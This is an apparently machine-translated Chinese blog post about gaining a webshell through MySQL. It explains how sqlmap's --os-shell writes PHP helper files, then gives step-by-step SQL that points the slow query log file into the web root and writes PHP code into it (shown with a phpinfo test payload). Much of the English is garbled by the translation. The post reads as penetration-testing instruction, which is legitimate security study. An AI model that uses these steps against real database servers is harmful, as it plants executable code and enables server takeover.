当前位置:网站首页>Thinking about MySQL taking shell through OS shell
Thinking about MySQL taking shell through OS shell
2022-07-29 06:30:00 【Heartless, young and old】
–os-shell Conditions of use
about mysql Database ,–os-shell The essence of is to write two php file , Among them tmpugvzq.php Can let us upload files to the website path
then sqlmap Will pass through the above php Upload a for command execution tmpbylqf.php Go to the website path , Let's execute the order , And return the output to sqlmap End .
Know the physical path of the website
High authority database user
secure_file_priv unlimited (mysql 5.6.34 After the version, it defaults to null, Unable to write to file )
The website path has write permission
Then when we find that other conditions are met , but PHP What if the version is too high ? Please see the following method
mysql High permissions break through the write limit shell
mysql 5.6.34 The following versions can be written directly with file operation functions shell
Slow query log write shell
This method is described below
1. Set up slow_query_log=1. That is, enable slow query logs ( Default disabled ).
set global slow_query_log = 1;
2. forge ( modify )slow_query_log_file The absolute path and file name of the log file
set global slow_query_log_file=' Absolute path \\filename';
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\1.php'; // Notice the two underscores here , escape
show variables like'%slow_query_log%'; // Query whether the setting is successful
3. Write to the log file shell
select '<?= phpinfo(); ?>' or sleep(11) // Here we can use an equal sign instead of php, This is a php A feature of
// Notice the 11 The second depends on the actual situation , That is, according to the following slow query time
Supplement to slow query log :
Because it is used to query logs slowly , Therefore, only when the execution time of the query statement exceeds the default time of the system , This statement will be recorded in the slow query log .
Slow query log refers to the time that exceeds by default ?
It's usually passed long_query_time Option to set the time value , Time is in seconds , It can be accurate to microseconds . If the query time exceeds this value ( The default is 10 second ), This query statement will be recorded in the slow query log . Check the server default time value as follows :
show global variables like '%long_query_time%' // Default 10 second
set global long_query_time = 9; // Set slow query to 9 second

notes : This method also requires the following conditions
1.root jurisdiction
2. Know the absolute path of the website
3. There is write permission under this directory
summary :
Relatively speaking, it is –os-shell One less condition , That is, it is better than the traditional file import and write shell One less condition , That's it secure_file_priv The limitation of , It is a good idea .
边栏推荐
- Self study understanding of [chain forward star]
- Official tutorial redshift 04 rendering parameters
- Ue5 texture system explanation and common problem setting and Solutions
- Unity中简单的matcap+fresnel shader的实现
- Leetcode scribble notes 763. Divide the letter range (medium)
- 虹科分享 | 测试与验证复杂的FPGA设计(2)——如何在IP核中执行面向全局的仿真
- Leetcode notes 452. minimum number of arrows to burst balloons (medium) 452. detonate balloons with the minimum number of arrows (medium)
- Leetcode 19. delete the penultimate node of the linked list
- HOG+SVM实现行人检测
- Redshift restore SP effect - SP map export settings and map import configuration
猜你喜欢

六、 网络互联与互联网
![[interview questions] the latest software test interview questions in 2022 (400) [with answers] continue to update](/img/72/445d78bdd6c921cc5a0843f056c435.png)
[interview questions] the latest software test interview questions in 2022 (400) [with answers] continue to update

Leetcode 189. rotation array

子网数、主机数与子网掩码的关系

Merkle Tree 存在性功能第一次修改

Leetcode notes 452. minimum number of arrows to burst balloons (medium) 452. detonate balloons with the minimum number of arrows (medium)

软件测试的优势有哪些?看看你了解多少.....

Unity初学3——敌人的移动控制和掉血区域的设置(2d)

STP生成树原理及选举规则举例
![Self study understanding of [chain forward star]](/img/b4/7f66026a482540bf27f088c321a840.png)
Self study understanding of [chain forward star]
随机推荐
Personal views on time complexity
Leetcode - Tips
FTP的两种模式详解
基于FPGA的4位减法器设计及仿真代码
Webshell管理工具的流量特征
模型空间下的旋转和世界空间下的旋转
Single chain surface test questions
waf防护是什么
基于udp通信的在线多人聊天室
Summary of winter vacation training (1.23~1.28) [first tier]
UE4 高光官方参考值
Leetcode 189. rotation array
V-ray 5 ACEScg 工作流程设置
Leetcode 14. longest public prefix
UDP套接口通信实验
基于FPGA的IIR型滤波器设计
虹科分享 | 带你全面了解“CAN总线错误”(四)——在实践中生产和记录CAN错误
Official tutorial redshift 03 parameters and general instructions of various GI
Overview and summary of GI engine in redshift 024, the official tutorial
day17_集合下